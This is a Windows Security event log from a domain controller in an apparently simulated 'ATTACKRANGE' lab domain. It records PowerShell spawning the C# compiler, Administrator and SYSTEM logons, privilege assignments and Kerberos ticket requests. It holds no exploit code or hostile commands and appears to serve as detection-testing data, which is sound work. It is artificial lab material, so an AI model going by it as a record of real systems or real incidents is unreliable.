	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x115c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES12C4.tmp" "c:\Users\Administrator\AppData\Local\Temp\loliam5n\CSCA4920CC78FAF479B80B2D19265DF1C26.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251736
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x115c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1064
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\loliam5n\loliam5n.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251735
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x141AF4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251734
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x141AF4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251733
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251732
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251731
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251816
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1442D7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251815
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1442D7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251814
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251813
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251812
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251811
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x143CB6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251810
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1429A3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251809
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x144231

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251808
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x144231
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64556

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251807
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x144231

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251806
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1441D0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251805
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1441D0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64555

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251804
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1441D0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251803
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x144163

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251802
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x144163
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64554

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251801
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x144163

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251800
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1440FF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251799
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1440FF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64553

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251798
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1440FF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251797
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x143CB6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251796
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x143CB6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

